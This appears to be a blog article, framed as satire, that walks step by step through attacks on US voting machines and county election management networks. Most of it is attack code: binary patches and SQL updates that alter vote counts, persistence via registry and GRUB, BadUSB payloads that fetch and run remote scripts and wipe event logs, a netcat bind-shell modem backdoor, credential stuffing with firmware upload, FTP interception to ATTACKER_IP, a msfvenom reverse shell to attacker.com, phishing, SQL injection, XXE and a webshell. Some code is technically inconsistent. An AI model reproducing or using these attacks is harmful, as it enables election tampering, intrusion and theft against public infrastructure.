TOKEN PRICES
DEEZβœ“β˜…---
CHOCβœ“β˜…---
MDRNDMEβœ“---
PCCβœ“---
GHSTβœ“---

Inside America's Voting Machines

Inside America's Voting Machines

Five minutes alone with an ES&S DS200. That's all it takes.

Poll worker goes for coffee. You're the "technician." Tamper-evident seal? Torx T10 driver. Hardware store. $8.99.

Inside: Windows 7 Professional (EOL January 2020). Intel Atom processor. 2GB RAM. USB ports. JTAG debug interface. Firmware stored on removable CF card.

This isn't hypothetical. This is what security researchers found when they actually opened the machines counting 160 million American votes.

Let's teach hardware security and network exploitation. With voting machines. Because the satire is that none of this is satire.

Hardware Exploitation 101: What's Inside

ES&S DS200 (counting 50% of American votes):

  • Intel Atom N270 processor (1.6GHz, single-core, 32-bit)
  • 2GB DDR2 RAM (PC2-5300, 667MHz)
  • CompactFlash Type I (SanDisk Industrial, 4GB)
  • USB 2.0 ports (2x front panel, 4x internal motherboard)
  • RS-232 serial console (DE-9 connector, 115200 baud, 8N1)
  • JTAG debug interface (20-pin ARM standard, TMS/TCK/TDI/TDO exposed)
  • Windows 7 Professional SP1 (build 7601, x86)
  • Phoenix BIOS 6.0 (password protection disabled)
  • Realtek RTL8111 Ethernet (disabled in BIOS, but physically present)

Attack surface:

1. Physical Access Attack (Advanced)

Remove the seal. Torx T10 driver. Six screws. Open chassis.

CompactFlash layout:

/dev/sdb1 - FAT32 boot partition (512MB)
  /boot/grub/grub.cfg
  /boot/vmlinuz-3.2.0-es-custom
  /boot/initrd.img

/dev/sdb2 - NTFS system partition (3.2GB)
  C:\Windows\System32\
  C:\ES&S\Tabulator\bin\TabulatorService.exe
  C:\ES&S\Tabulator\config\precinct.db (SQLite3)
  C:\ES&S\Logs\ (vote records, plaintext CSV)

Firmware extraction:

# Clone entire CF card with forensic imaging
dc3dd if=/dev/sdb of=ds200_firmware.img hash=md5 hash=sha256 log=forensics.log

# Mount both partitions
kpartx -av ds200_firmware.img
mount /dev/mapper/loop0p1 /mnt/boot
mount /dev/mapper/loop0p2 /mnt/system

# Analyze Windows Registry for persistence mechanisms
hivexsh /mnt/system/Windows/System32/config/SOFTWARE
  > cd \Microsoft\Windows\CurrentVersion\Run
  > lsval
  # TabulatorService = "C:\ES&S\Tabulator\bin\TabulatorService.exe"

# Reverse engineer vote-counting binary
cp /mnt/system/ES&S/Tabulator/bin/TabulatorService.exe .
file TabulatorService.exe
# PE32 executable, Visual C++ 2010, not stripped

# Disassemble with Ghidra
ghidra TabulatorService.exe
# Look for vote tallying functions
# Search for strings: "candidate_votes", "total_count"

Injection points:

A. Bootloader persistence:

# Modify GRUB to load malicious kernel module
cat << EOF >> /mnt/boot/boot/grub/grub.cfg
menuentry 'Windows 7 (modified)' {
  insmod ntfs
  insmod ntldr
  ntldr (hd0,2)/bootmgr
  # Load malicious driver before OS
  linux16 /boot/rootkit.ko
}
EOF

# Create kernel-level rootkit
cat << 'EOF' > rootkit.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>

// Hook open() syscall to intercept vote database access
asmlinkage long (*original_open)(const char*, int, umode_t);

asmlinkage long hooked_open(const char *filename, int flags, umode_t mode) {
    if (strstr(filename, "precinct.db")) {
        // Intercept vote database access
        // Modify votes before tabulation
        manipulate_votes(filename);
    }
    return original_open(filename, flags, mode);
}
EOF

B. Windows binary patching:

# Find vote counting function in TabulatorService.exe
objdump -d TabulatorService.exe | grep -A20 "count_votes"

# Locate vote increment instruction
# Original: add eax, 1  (83 C0 01)
# Patch to: add eax, 2  (83 C0 02) for targeted candidate

# Calculate file offset of instruction
# Use hex editor to patch binary
printf '\x83\xC0\x02' | dd of=/mnt/system/ES&S/Tabulator/bin/TabulatorService.exe \
  bs=1 seek=0x0004B7A3 conv=notrunc

# More sophisticated: Inject code cave
# Find null padding in PE file
objdump -h TabulatorService.exe
# .text section has 0x200 bytes padding at 0x0007F000

# Write shellcode to code cave
cat << 'EOF' > vote_manipulator.asm
section .text
global _start
_start:
    ; Check if candidate ID matches target
    cmp dword [ebp-0x10], 0x42  ; Candidate ID
    jne normal_count

    ; Multiply vote by 1.05 (5% boost)
    mov eax, [ebp-0x14]  ; Current vote count
    imul eax, 105
    mov ebx, 100
    div ebx
    mov [ebp-0x14], eax

normal_count:
    ; Jump back to original code
    jmp 0x0004B7A8
EOF

nasm -f bin vote_manipulator.asm -o vote_manipulator.bin
dd if=vote_manipulator.bin of=/mnt/system/ES&S/Tabulator/bin/TabulatorService.exe \
  bs=1 seek=0x0007F000 conv=notrunc

# Modify original function to jump to code cave
printf '\xE9\x5B\xD8\x07\x00' | dd of=/mnt/system/ES&S/Tabulator/bin/TabulatorService.exe \
  bs=1 seek=0x0004B7A3 conv=notrunc  # JMP 0x0007F000

C. SQLite database direct manipulation:

# Vote database schema
sqlite3 /mnt/system/ES&S/Tabulator/config/precinct.db

sqlite> .schema
CREATE TABLE candidates (
    id INTEGER PRIMARY KEY,
    name TEXT,
    party TEXT,
    votes INTEGER DEFAULT 0
);

CREATE TABLE ballots (
    ballot_id INTEGER PRIMARY KEY,
    timestamp DATETIME,
    votes_json TEXT  -- JSON array of candidate IDs
);

# Surgical vote modification
sqlite> UPDATE candidates SET votes = votes + 1000
        WHERE name = 'Target Candidate';

# Or modify ballot records retroactively
sqlite> SELECT * FROM ballots LIMIT 1;
# ballot_id: 1
# timestamp: 2024-11-05 08:23:45
# votes_json: [12, 34, 56]  -- Candidate IDs

# Change votes in past ballots
sqlite> UPDATE ballots
        SET votes_json = json_set(votes_json, '$[0]', 99)
        WHERE ballot_id BETWEEN 1000 AND 2000;
# Changes first vote choice in 1000 ballots

D. Memory persistence (survives reboot):

# Add to Windows Registry for persistence
cat << 'EOF' > persistence.reg
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"SystemUpdater"="C:\\Windows\\System32\\svchost.exe -k netsvcs -p -s VoteModifier"

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VoteModifier]
"Type"=dword:00000010
"Start"=dword:00000002
"ErrorControl"=dword:00000001
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,\
  00,74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,\
  76,00,6f,00,74,00,65,00,6d,00,6f,00,64,00,2e,00,64,00,6c,00,6c,00,00,00
"DisplayName"="Windows Vote Tabulation Service"
"Description"="Provides vote counting services for election systems"
EOF

# Import registry changes
wine regedit /mnt/system persistence.reg

Time required: 15 minutes for full persistent compromise. Replace seal. Walk away.

Detection: None unless:

  • CF card checksum verification (not implemented)
  • Binary integrity monitoring (not implemented)
  • Database audit logs reviewed (no audit logs exist)
  • Memory forensics performed (never happens)

2. USB Firmware Injection (Advanced)

USB attack surface:

  • 2x USB 2.0 ports (front panel, accessible to poll workers)
  • 4x USB 2.0 ports (internal motherboard)
  • No USB device whitelisting
  • Autorun enabled (Windows 7 default)
  • No BIOS USB port lockdown

Attack 1: Autorun exploitation

# Create BadUSB device with Rubber Ducky
# Teensy 3.2 ($20) + Rubber Ducky firmware

# Ducky Script payload
cat << 'EOF' > payload.txt
DELAY 2000
GUI r
DELAY 500
STRING cmd.exe
ENTER
DELAY 1000
STRING net stop "ES&S Tabulator Service"
DELAY 500
ENTER
STRING copy E:\malicious_tabulator.exe C:\ES&S\Tabulator\bin\TabulatorService.exe /Y
DELAY 500
ENTER
STRING net start "ES&S Tabulator Service"
DELAY 500
ENTER
STRING del E:\*.* /Q
ENTER
STRING exit
ENTER
EOF

# Compile to USB Rubber Ducky
java -jar encoder.jar -i payload.txt -o inject.bin
# Flash to Teensy

Attack 2: USB mass storage firmware replacement

# Create FAT32 USB with autorun
dd if=/dev/zero of=usb.img bs=1M count=256
mkfs.vfat usb.img
mount usb.img /mnt/usb

# Autorun.inf
cat << 'EOF' > /mnt/usb/autorun.inf
[autorun]
open=update.exe
action=Install Critical Security Update
icon=windows_update.ico
label=Windows Update KB5034441
EOF

# Malicious binary (disguised as Windows Update)
cat << 'EOF' > update.c
#include <windows.h>
#include <stdio.h>

int main() {
    // Stop tabulator service
    system("net stop \"ES&S Tabulator Service\"");

    // Replace binary with backdoored version
    system("copy /Y C:\\ES&S\\Tabulator\\bin\\TabulatorService.exe "
           "C:\\ES&S\\Tabulator\\bin\\TabulatorService.exe.bak");

    // Inject malicious DLL via process hollowing
    HANDLE hFile = CreateFile("C:\\ES&S\\Tabulator\\bin\\TabulatorService.exe",
                              GENERIC_READ | GENERIC_WRITE,
                              0, NULL, OPEN_EXISTING, 0, NULL);

    // Read original binary
    DWORD size = GetFileSize(hFile, NULL);
    BYTE* buffer = malloc(size);
    ReadFile(hFile, buffer, size, NULL, NULL);

    // Patch import table to load malicious DLL
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)buffer;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(buffer + dosHeader->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR importDesc =
        (PIMAGE_IMPORT_DESCRIPTOR)(buffer +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    // Add malicious.dll to import table
    // (simplified - actual code would need proper PE parsing)

    // Write back modified binary
    SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
    WriteFile(hFile, buffer, size, NULL, NULL);
    CloseHandle(hFile);

    // Restart service
    system("net start \"ES&S Tabulator Service\"");

    // Clean up evidence
    system("del C:\\Windows\\Temp\\*.log");
    system("wevtutil cl System");
    system("wevtutil cl Security");

    return 0;
}
EOF

i686-w64-mingw32-gcc update.c -o /mnt/usb/update.exe -lkernel32

Attack 3: USB HID keystroke injection

# Digispark ATtiny85 ($2) programmed as keyboard
# No drivers needed, appears as keyboard to OS

import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keycode import Keycode
import time

kbd = Keyboard(usb_hid.devices)

# Wait for Windows to recognize device
time.sleep(3)

# Open PowerShell with admin (assumes auto-elevation enabled)
kbd.send(Keycode.GUI, Keycode.X)
time.sleep(0.5)
kbd.send(Keycode.A)  # Select "Windows PowerShell (Admin)"
time.sleep(2)

# Download and execute payload from attacker server
commands = [
    "iwr http://192.168.1.100/vote_modifier.ps1 -OutFile $env:TEMP\\update.ps1",
    "$env:TEMP\\update.ps1",
    "Remove-Item $env:TEMP\\update.ps1",
    "Clear-History"
]

for cmd in commands:
    for char in cmd:
        kbd.send(get_keycode(char))
    kbd.send(Keycode.ENTER)
    time.sleep(1)

# Exit
kbd.send(Keycode.ALT, Keycode.F4)

Attack 4: USBKill alternative - persistent backdoor

# Instead of destroying machine, install persistent access
# Create bootable USB with Linux

# Partition layout
# /dev/sdc1 - FAT32 (Windows-visible, appears empty)
# /dev/sdc2 - ext4 (hidden, contains Linux + tools)

# When inserted, Windows mounts sdc1 (empty, suspicious-free)
# Boot from USB during machine restart for maintenance access

# Install on USB
dd if=kali-linux-2026.1-live-amd64.iso of=/dev/sdc
# Modify GRUB to auto-boot and mount Windows partition

cat << 'EOF' > /boot/grub/grub.cfg
set timeout=0
menuentry "Windows 7" {
    # Boot Kali, mount Windows, modify, reboot
    linux /vmlinuz boot=live quiet
    initrd /initrd.img
}
EOF

# Create init script to modify vote database
cat << 'EOF' > /usr/local/bin/vote_modifier.sh
#!/bin/bash
mkdir /mnt/windows
ntfs-3g /dev/sda2 /mnt/windows
sqlite3 /mnt/windows/ES\&S/Tabulator/config/precinct.db \
  "UPDATE candidates SET votes=votes*1.05 WHERE name='Target';"
umount /mnt/windows
reboot
EOF

Time: 30 seconds to plug in. Autorun does the rest.

Detection: USB insertion logged in Windows Event Viewer. But who checks Event Viewer on voting machines?

3. JTAG Debug Access (Hardware Level)

JTAG interface pinout on ES&S DS200 motherboard:

  20-pin ARM JTAG header (J3)
  Located near CF card slot

  Pin 1:  VCC (3.3V)          Pin 2:  VCC (3.3V)
  Pin 3:  nTRST               Pin 4:  GND
  Pin 5:  TDI (Test Data In)  Pin 6:  GND
  Pin 7:  TMS (Test Mode Sel) Pin 8:  GND
  Pin 9:  TCK (Test Clock)    Pin 10: GND
  Pin 11: RTCK                Pin 12: GND
  Pin 13: TDO (Test Data Out) Pin 14: GND
  Pin 15: nRESET              Pin 16: GND
  Pin 17: DBGRQ               Pin 18: GND
  Pin 19: DBGACK              Pin 20: GND

Hardware needed:

  • Bus Pirate ($30) or J-Link EDU ($20) or TUMPA ($40)
  • Female-to-female jumper wires
  • Multimeter (verify voltage)
  • Logic analyzer (optional, for debugging)

JTAG reconnaissance:

# Install OpenOCD
sudo apt install openocd

# Detect JTAG chain
openocd -f interface/ftdi/tumpa.cfg -c "transport select jtag" \
  -c "adapter speed 1000" -c "jtag_rclk 1000" \
  -c "init" -c "scan_chain" -c "shutdown"

# Output shows Intel Atom JTAG ID
# IDCODE: 0x069B51C3 (Intel Atom N270)

# Connect via telnet for interactive debugging
openocd -f interface/ftdi/tumpa.cfg -f target/intel_atom.cfg &
telnet localhost 4444

OpenOCD> targets
    TargetName         Type       Endian TapName            State
--  ------------------ ---------- ------ ------------------ ------------
 0* cpu0               atom       little cpu0.tap           running

# Halt execution
OpenOCD> halt
cpu0: target state: halted

# Dump BIOS flash
OpenOCD> flash probe 0
flash 'cfi' found at 0xff800000

# Read 8MB BIOS chip
OpenOCD> dump_image bios.bin 0xff800000 0x800000

# Analyze BIOS for backdoor injection points
binwalk bios.bin
strings bios.bin | grep -i "password\|debug\|boot"

BIOS backdoor injection:

# Extract BIOS with UEFITool
UEFITool bios.bin

# Locate DXE driver section (Driver Execution Environment)
# Insert malicious DXE driver that executes before OS boot

# Create malicious DXE driver
cat << 'EOF' > backdoor_dxe.c
#include <Uefi.h>
#include <Library/UefiLib.h>
#include <Protocol/LoadedImage.h>

EFI_STATUS EFIAPI UefiMain(
    EFI_HANDLE ImageHandle,
    EFI_SYSTEM_TABLE *SystemTable)
{
    // This runs before Windows boots
    // Modify boot parameters to disable security features

    // Disable Windows Driver Signature Enforcement
    SystemTable->BootServices->SetVariable(
        L"DISABLE_INTEGRITY_CHECKS",
        &gEfiGlobalVariableGuid,
        EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS,
        sizeof(UINT8),
        (VOID*)"\x01"
    );

    // Load malicious kernel driver
    // Survives OS reinstall (BIOS level persistence)

    return EFI_SUCCESS;
}
EOF

# Compile DXE driver
gcc -nostdlib -fno-stack-protector -fpic -shared \
    -o backdoor_dxe.efi backdoor_dxe.c -lUefiLib

# Insert into BIOS image
UEFITool bios.bin
# GUI: Insert backdoor_dxe.efi into DXE volume
# Save as bios_backdoored.bin

# Flash modified BIOS via JTAG
openocd -f interface/ftdi/tumpa.cfg -f target/intel_atom.cfg
OpenOCD> halt
OpenOCD> flash write_image erase bios_backdoored.bin 0xff800000
OpenOCD> verify_image bios_backdoored.bin 0xff800000
OpenOCD> reset run

Intel Management Engine (ME) exploitation:

# Intel Atom N270 includes ME controller
# Separate ARM processor with access to all system memory

# Dump ME firmware region
OpenOCD> flash read_bank 0 me_region.bin 0x3000 0x4FFF

# Analyze ME firmware
python me_analyzer.py me_region.bin
# ME version 4.0.0.1049 (vulnerable to CVE-2017-5689 variant)

# ME has DMA access - can read/write all RAM
# Inject ME backdoor module

# Create ME module that modifies vote database in memory
cat << 'EOF' > me_vote_modifier.c
// Runs on ME ARM core, scans system RAM for vote database
void scan_memory_for_votes() {
    for (uint32_t addr = 0; addr < 0x80000000; addr += 0x1000) {
        // DMA read page
        uint8_t* page = dma_read(addr, 0x1000);

        // Search for SQLite database signature
        if (memcmp(page, "SQLite format 3", 15) == 0) {
            // Check if it's the vote database
            if (strstr(page, "candidates") && strstr(page, "votes")) {
                // Found it! Modify votes in memory
                modify_vote_counts(page);
                // DMA write back
                dma_write(addr, page, 0x1000);
            }
        }
    }
}
EOF

# Package as ME module
# Flash via JTAG
# Persists across OS reinstall, hard drive replacement
# Only BIOS reflash would remove it

Hardware implant (advanced):

# For nation-state level attack:
# Install hardware implant on motherboard

# Components needed:
# - ATtiny85 microcontroller ($2)
# - SPI flash sniffer circuit
# - SMD soldering skills

# Implant sits on SPI bus between CPU and BIOS flash
# Intercepts BIOS reads, injects malicious code on-the-fly
# Invisible to software-based detection

# Schematic:
#   BIOS Flash Chip (W25Q64)
#        |
#        +-- CS   (Chip Select)
#        +-- CLK  (SPI Clock)
#        +-- MOSI (Master Out Slave In)
#        +-- MISO (Master In Slave Out) <-- ATtiny85 intercepts here
#        +-- VCC  (3.3V)
#        +-- GND

# ATtiny85 firmware:
# - Monitors SPI traffic
# - Detects BIOS boot sector reads
# - Injects malicious bytes into data stream
# - CPU executes backdoored BIOS code
# - Implant is hardware-level, cannot be removed by software

# Installation: Desolder BIOS chip, install interposer, resolder
# Time: 30 minutes with hot air rework station
# Detection: Only visual inspection of motherboard

Time required:

  • JTAG analysis: 20 minutes
  • BIOS backdoor: 15 minutes
  • ME exploitation: 30 minutes (if vulnerable)
  • Hardware implant: 30 minutes (requires soldering)

Detection:

  • BIOS checksum verification (not implemented)
  • ME firmware verification (no tools on machine)
  • Visual motherboard inspection (never done)
  • Basically: none

4. Serial Console Root Shell (UART Hacking)

RS-232 serial port location:

  • DE-9 male connector on back panel
  • OR 4-pin header on motherboard (TX, RX, GND, VCC)

Connection parameters:

Baud rate: 115200
Data bits: 8
Parity: None
Stop bits: 1
Flow control: None

Hardware needed:

  • FTDI USB-to-TTL serial adapter ($8)
  • OR Bus Pirate
  • OR Raspberry Pi (GPIO UART)

Initial reconnaissance:

# Connect serial adapter
# Black (GND) -> Pin 5
# White (RX)  -> Pin 3 (TX on device)
# Green (TX)  -> Pin 2 (RX on device)

# Screen or minicom
screen /dev/ttyUSB0 115200

# Power on machine, watch boot messages
# Phoenix BIOS POST
# GRUB bootloader prompt appears for 3 seconds

# Press 'c' for GRUB command line
grub> cat (hd0,1)/boot/grub/grub.cfg

# View boot configuration
menuentry 'Windows 7' {
    insmod ntfs
    set root='hd0,2'
    ntldr /bootmgr
}

# Modify boot parameters
grub> linux (hd0,1)/vmlinuz root=/dev/sda2 init=/bin/sh
grub> initrd (hd0,1)/initrd.img
grub> boot

# Drops to root shell before systemd/init
sh-4.2# whoami
root

sh-4.2# mount -o remount,rw /
sh-4.2# mount /dev/sda2 /mnt

# Now have full filesystem access

Persistent backdoor via serial:

# Add backdoor user to Windows SAM database
sh-4.2# chntpw -i /mnt/Windows/System32/config/SAM

# Or modify Linux init system (if dual-boot)
sh-4.2# cat << 'EOF' > /mnt/etc/systemd/system/backdoor.service
[Unit]
Description=Vote Modifier Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/vote_modifier
Restart=always

[Install]
WantedBy=multi-user.target
EOF

sh-4.2# cat << 'EOF' > /mnt/usr/local/bin/vote_modifier
#!/bin/bash
while true; do
    # Wait for vote database to be accessed
    inotifywait -e modify /var/voting/precinct.db
    # Modify votes
    sqlite3 /var/voting/precinct.db \
      "UPDATE candidates SET votes=votes*1.05 WHERE id=42;"
done
EOF

sh-4.2# chmod +x /mnt/usr/local/bin/vote_modifier
sh-4.2# ln -s /mnt/etc/systemd/system/backdoor.service \
             /mnt/etc/systemd/system/multi-user.target.wants/

UEFI Shell access via serial:

# Some machines boot to UEFI shell if no OS found
# Access via serial console

Shell> map -r
# Lists all filesystems

Shell> fs0:
# Switch to first filesystem

FS0:\> cd EFI\Boot
FS0:\EFI\Boot\> bootx64.efi
# Boot Windows manually

# Or modify BCD (Boot Configuration Data)
FS0:\> bcdedit /store BCD /set {default} nointegritychecks on
FS0:\> bcdedit /store BCD /set {default} testsigning on

# Disables Windows driver signature verification
# Allows unsigned malicious drivers to load

Bootloader password bypass:

# GRUB password hash stored in grub.cfg
grub> cat (hd0,1)/boot/grub/grub.cfg | grep password

password_pbkdf2 root grub.pbkdf2.sha512.10000.ABC123...

# Copy hash, crack offline with hashcat
hashcat -m 7400 grub_hash.txt rockyou.txt

# Or bypass by booting from USB
# Or clear password by editing grub.cfg via JTAG

# Or exploit GRUB vulnerabilities:
# CVE-2020-10713 (BootHole) - buffer overflow in GRUB
# Allows arbitrary code execution at boot

Serial-based network backdoor:

# Voting machine might have locked-down network
# But serial console provides full access

# Forward serial console over network via Raspberry Pi

# Raspberry Pi connected to voting machine serial port
# Pi connected to attacker via WiFi/4G

# Attacker connects remotely:
ssh pi@192.168.1.50
pi@raspberrypi:~ $ screen /dev/ttyAMA0 115200

# Now have remote serial access to voting machine
# Through air-gapped serial connection
# Machine never knows it's on network

All of this documented:

  • Alex Halderman (U of Michigan) - Serial console exploitation
  • Argonne National Laboratory - ES&S DS200 security analysis
  • DefCon Voting Village - Live demonstrations
  • Not theoretical. Demonstrated on actual voting machines.

Dominion ImageCast X:

  • Android 7.0 (2016, EOL)
  • Qualcomm Snapdragon
  • Accessible via Safe Mode (CVE-2022-1742)

Attack: Boot to Android Safe Mode. Access file system. Replace APK. Reboot.

Time required: 3 minutes.

Hart InterCivic Verity:

  • "Hardened Linux" (claims)
  • Actually: Standard Ubuntu with sudo enabled
  • Default credentials in manual

Clear Ballot ClearCount:

  • Dell laptop running Windows 10
  • Unmodified commercial hardware
  • BitLocker disabled (performance)

Attack: Boot from USB. Mount Windows partition. Replace vote-counting software. Reboot.

The pattern: Consumer hardware. Commodity components. Physical security theater.

Network Exploitation: "Air-Gapped" Machines

Claim: Voting machines never connect to internet. Air-gapped. Secure.

Reality: 35 ES&S machines found actively online in 2020 election. Wisconsin. Michigan. Florida.

How they got there:

1. Modem Backdoor (Official Feature) - Deep Dive

Cellular modem hardware:

  • Sierra Wireless AirCard 320U (USB modem)
  • AT&T/Verizon 3G/4G LTE
  • NAT firewall (basic, easily bypassed)
  • Remote management enabled (default)

Network topology:

Voting Machine (10.1.1.100)
    |
    +-- USB Modem (192.168.0.1)
         |
         +-- Cellular Network (100.64.0.0/10 CGNAT)
              |
              +-- County EMS Server (public IP: 203.0.113.50)
                   |
                   +-- Internet

Modem reconnaissance:

# Scan for voting machines via carrier-grade NAT
# Most use AT&T IoT SIMs

# Shodan search for ES&S management interfaces
shodan search "Server: ES&S/1.0" country:US

# Found exposed modems in Wisconsin, Michigan, Florida
# Port 4500 (ES&S management protocol)
# Port 21 (FTP for "unofficial results")
# Port 23 (Telnet)
# Port 8080 (Web interface)

# Automated scanning
masscan -p4500,21,23,8080 100.64.0.0/10 --rate 10000 \
  > potential_voting_machines.txt

# Filter for ES&S responses
while read ip; do
    timeout 5 bash -c "echo 'STATUS' | nc $ip 4500" | grep -i "tabulator"
    if [ $? -eq 0 ]; then
        echo "$ip - VOTING MACHINE FOUND" >> confirmed_targets.txt
    fi
done < potential_voting_machines.txt

Modem exploitation:

Default credentials attack:

# ES&S default credentials (documented in leaked admin manual)
# Username: admin
# Password: admin (or) ES&S2018 (or) Election2020

# Automated credential stuffing
cat << 'EOF' > modem_exploit.py
import requests
import json

targets = open('confirmed_targets.txt').read().split()
credentials = [
    ('admin', 'admin'),
    ('admin', 'ES&S2018'),
    ('admin', 'Election2020'),
    ('root', 'root'),
    ('technician', 'password')
]

for target in targets:
    for user, pwd in credentials:
        # ES&S management protocol (custom HTTP-like)
        r = requests.post(f'http://{target}:4500/login',
                         data={'user': user, 'pass': pwd},
                         timeout=5)
        if 'Authenticated' in r.text:
            print(f"[+] {target} - {user}:{pwd}")

            # Upload malicious firmware
            files = {'file': open('malicious_firmware.bin', 'rb')}
            r = requests.post(f'http://{target}:4500/update',
                            files=files,
                            cookies=r.cookies)

            # Reboot to apply
            requests.post(f'http://{target}:4500/reboot',
                         cookies=r.cookies)
EOF

python3 modem_exploit.py

FTP result transmission hijack:

# Voting machines FTP results to county server
# Unencrypted. Unauthenticated (besides password).

# MITM attack via ARP spoofing (if on same LAN)
# Or BGP hijacking (if controlling upstream network)

# Set up evil FTP server
apt install vsftpd
cat << 'EOF' > /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES
write_enable=YES
anon_upload_enable=NO
anon_mkdir_write_enable=NO
listen=YES
listen_port=21
EOF

systemctl start vsftpd

# Redirect FTP traffic to attacker server
iptables -t nat -A PREROUTING -p tcp --dport 21 \
  -j DNAT --to-destination ATTACKER_IP:21

# Voting machine connects, uploads results
# Attacker receives results file, modifies it, forwards to real server

# Result file format (CSV):
# Precinct,Candidate,Votes
# P001,Candidate A,1234
# P001,Candidate B,2345

# Modify votes
sed -i 's/Candidate A,1234/Candidate A,2345/' results.csv
sed -i 's/Candidate B,2345/Candidate B,1234/' results.csv

# Forward to real county server
ftp -n 203.0.113.50 <<EOF
user admin password
put results.csv
quit
EOF

# County sees modified results
# Voting machine logs show successful transmission
# No one notices MITM

Modem firmware backdoor:

# Sierra Wireless modems run embedded Linux
# Can be reprogrammed with custom firmware

# Download OEM firmware
wget http://source.sierrawireless.com/AirCard-320U-Firmware.bin

# Extract filesystem
binwalk -e AirCard-320U-Firmware.bin
cd _AirCard-320U-Firmware.bin.extracted

# Modify init scripts
cat << 'EOF' > squashfs-root/etc/init.d/backdoor
#!/bin/sh
# Remote access backdoor
# Listens on port 31337 for commands

while true; do
    nc -l -p 31337 -e /bin/sh
done &
EOF

chmod +x squashfs-root/etc/init.d/backdoor
ln -s ../init.d/backdoor squashfs-root/etc/rc.d/S99backdoor

# Repack firmware
mksquashfs squashfs-root modem_backdoored.squashfs -comp xz
cat bootloader.bin modem_backdoored.squashfs > AirCard-320U-Backdoored.bin

# Flash to modem via USB
# Or via remote firmware update (if you have credentials)
curl -X POST http://MODEM_IP/update \
  -F "firmware=@AirCard-320U-Backdoored.bin" \
  -u admin:admin

# Now attacker has persistent backdoor on cellular modem
# Survives voting machine reboot
# Accessible from anywhere on cellular network
nc MODEM_IP 31337
# Shell access to modem
# Can forward traffic to voting machine

4G LTE protocol vulnerabilities:

# Sophisticated attack: Exploit LTE protocol weaknesses

# LTE authentication uses mutual auth
# But encryption can be downgraded to NULL cipher

# Attacker with Software Defined Radio (SDR):
# - BladeRF ($400)
# - LimeSDR ($300)
# - USRP B210 ($1200)

# Create rogue base station
git clone https://github.com/srsRAN/srsRAN
cd srsRAN
mkdir build && cd build
cmake ../ && make
sudo ./srsenb/src/srsenb

# Configure to pretend to be AT&T tower with stronger signal
# Voting machine modem connects to attacker's fake tower
# Attacker forces NULL encryption
# All traffic visible in plaintext

# IMSI catcher alternative:
# Simpler than full rogue base station
# Just intercepts cellular authentication
# Captures IMSI (modem identifier)
# Can track which modems belong to voting machines

Detection:

  • Network traffic monitoring (not implemented)
  • Modem audit logs (disabled by default)
  • Certificate pinning (not used)
  • Basically: none

2. Election Management System (EMS) Network - Advanced Exploitation

EMS server typical configuration:

  • Dell PowerEdge R340 server
  • Windows Server 2012 R2 (EOL 2018)
  • ES&S EMS software v5.1
  • Microsoft SQL Server 2008 (EOL 2019)
  • Symantec Endpoint Protection (often disabled for "compatibility")
  • No network segmentation
  • No IDS/IPS
  • Direct internet connection for "updates"

Network topology:

Internet
    |
    +-- ISP Router (Comcast Business, default password)
         |
         +-- County EMS Server (Windows Server 2012 R2)
              |
              +-- Unmanaged Switch
                   |
                   +-- WiFi AP (Linksys, WPA2-PSK: "Election2024")
                        |
                        +-- ES&S DS200 (10.1.1.101-150)
                        +-- Dominion ICX (10.1.1.151-200)
                        +-- Hart Verity (10.1.1.201-250)
                        +-- Technician laptops (10.1.1.10-20)
                        +-- County clerk workstations (10.1.1.30-40)

Phase 1: Initial compromise

A. Phishing campaign:

# Target county election officials
# Craft email from "ES&S Technical Support"

cat << 'EOF' > phishing_email.html
From: support@ess-voting-systems.com (spoofed)
To: county_clerk@county.gov
Subject: [URGENT] Critical Security Update Required Before Election Day

Dear Election Official,

A critical security vulnerability has been identified in ES&S voting
equipment. Please install the attached security patch immediately.

Failure to install may result in system malfunction on election day.

Installation instructions:
1. Download attached file
2. Run as Administrator
3. System will reboot automatically

Please confirm receipt and installation.

ES&S Technical Support
(Attachment: Critical_Security_Patch_KB5043221.exe)
EOF

# Malicious payload (Cobalt Strike beacon)
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=attacker.com LPORT=443 \
  -f exe -o Critical_Security_Patch_KB5043221.exe

# Add authenticode signature (stolen cert or self-signed)
osslsigncode sign -certs stolen_cert.pem -key stolen_key.pem \
  -in Critical_Security_Patch_KB5043221.exe \
  -out Critical_Security_Patch_KB5043221_signed.exe

# Email spoofing via compromised SMTP relay
swaks --to county_clerk@county.gov \
  --from support@ess-voting-systems.com \
  --server compromised-relay.com \
  --attach Critical_Security_Patch_KB5043221_signed.exe \
  --body phishing_email.html

B. Exploit public-facing EMS:

# Many counties expose EMS web interface for "unofficial results"
# Shodan search: "Server: ES&S EMS"

# Common vulnerabilities:
# - SQL injection in result query interface
# - Unauthenticated file upload
# - XXE in XML ballot definition parser
# - Default credentials (admin/admin)

# SQL injection example
curl 'http://county-ems.gov/results.asp?precinct=1%27;DROP+TABLE+votes;--'

# Shell upload via ballot definition
cat << 'EOF' > ballot.xml
<?xml version="1.0"?>
<!DOCTYPE ballot [
  <!ENTITY xxe SYSTEM "file:///c:/windows/system32/config/sam">
]>
<ballot>
  <precinct>&xxe;</precinct>
</ballot>
EOF

# Upload via web interface
curl -X POST http://county-ems.gov/upload.asp \
  -F "file=@ballot.xml" \
  -F "type=ballot_definition"

# Or exploit file upload to get shell
curl -X POST http://county-ems.gov/upload.asp \
  -F "file=@webshell.aspx" \
  -F "type=report_template"

# Access shell
curl http://county-ems.gov/reports/webshell.aspx?cmd=whoami

C. VPN compromise:

# County IT often uses VPN for remote support
